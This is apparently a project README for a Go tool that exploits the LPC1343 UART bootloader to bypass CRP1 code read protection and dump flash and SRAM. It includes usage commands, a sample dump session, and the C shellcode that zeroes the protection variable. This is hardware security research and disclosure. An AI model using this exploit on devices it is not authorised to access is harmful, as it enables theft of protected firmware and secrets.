Howdy y'all,
This is a quick and dirty client for the UART bootloader of the LPC1343, and probably other bootloaders in that chip family. This client and shellcode are my own, but prior art is described in Fill Your Boots by Herrewegen, Oswald, Garcia, and Temeiza, and it is from their excellent paper that I first learned of the vulnerability.
This exploit does not work in the stricter CRP levels, but only CRP1.
--Travis Goodspeed
Wiring
Pull the BLD_E
pin high to enable the UART bootloader, and on devices which also have USB, be sure to pull P0_3
low to enter UART, rather than USB mode. If your target enumerates as a USB Mass Storage device, you are not pulling P0_3
properly and the UART will be silent.
I've been using a 5V FTDI cable from a junk drawer, wired into an Olimex LPC-P1343 devboard from Digikey. GND, TX, and RX go into the proper pins of the UEXT connector, and VCC runs to the appropriate pin of the voltage regulator.
Usage
The client is written in Golang, and ought to work on any platform supported by Aaron Jacobs' go-serial library. In Linux, you might need to add your user to the dialout
group.
host% go get github.com/travisgoodspeed/lpc13-exploit
host% lpc13-exploit --help
Usage of lpc13-exploit:
-U Force-unlock the chip with a priveledge escalation exploit.
-fd string
Download Flash to a file.
-g string
Go to address. (0x3CF9)
-p string
COMM port. (default "/dev/ttyUSB0")
-r int
Baud rate. (default 57600)
-sd string
Download SRAM to a file.
-u Unlock.
-v Verbose mode.
The -u
switch performs the write-safety unlock, which is a prerequisite to the exploit and anything else that writes to RAm or Flash. The -U
switch exploits the chip to drop from CRP1 to an unlocked state. After the device is unlocked and unprotected, you can run -sd
an -fd
to dump RAM and Flash. -v
will log every transaction to the console, which is handy in debugging.
This command dumps images of both SRAM and Flash from a locked chip on ttyUSB0
.
host% lpc13-exploit -p /dev/ttyUSB0 -u -U -sd sram-10000000.bin -fd flash-00000000.bin
Connected to LPC1343FHN33, bootloader 2.5.
UID=13131f25 534d0000 5c0d3674 f5000004
Reading 0x2000 bytes from 0x10000000.
Warning, checksum at 0x10000384 should be 102918 and not 102919. This is normal for SRAM.
Writing them to sram-10000000.bin.
Wrote 8192 bytes.
Reading 0x8000 bytes from 0x00000000.
Writing them to flash-00000000.bin.
Wrote 32768 bytes.
Limitations
Target addresses are currently hardcoded to bootloader version 2.5. While most chips in the family are thought to be vulnerable, I've only tested this on the LPC1343FHN33.
This tool doesn't yet support writing to Flash memory. This won't be hard to add, but in the meantime you can use Martin Maurer's lpc21isp client.
This tool doesn't yet support dumping the mask ROM, because that's not an allowed range for the bootloader even in an unlocked chip. Until support is added, you can dump the ROM by JTAG. See Domen Puncer Kugler's lpc13xx_boot_analysis project for an example disassembly of the ROM.
Theory of Operation
The UART bootloader works by first writing into an SRAM buffer using the W
command, and then copying that buffer over to a Flash block using the C
command. In CRP1, reading the device is not allowed, but new code may still be written.
When protected, W
prohibits writing beneath 0x10000200
, where global variables of the bootloader reside, but the callstack is much higher in memory.
We first write a small C program to 0x10000300
in SRAM, which does little more before returning than poke a 0
into a global variable at 0x10000184
that stores a copy of the protection word from Flash. It returns by calling the bootloader's main loop at 0x1fff0fbd
, starting a new session with higher privileges.
extern int crp_level_ram; //0x10000184
extern void cmd_mainloop(); //0x1fff0fbd
int main(){
//Disable the protections.
crp_level_ram=0;
//Call back into the bootloader.
cmd_mainloop();
//cmd_mainloop never returns, but this can't hurt.
return 0;
}
From then on, all bootloader commands run as normal, except that they believe the chip to be unlocked.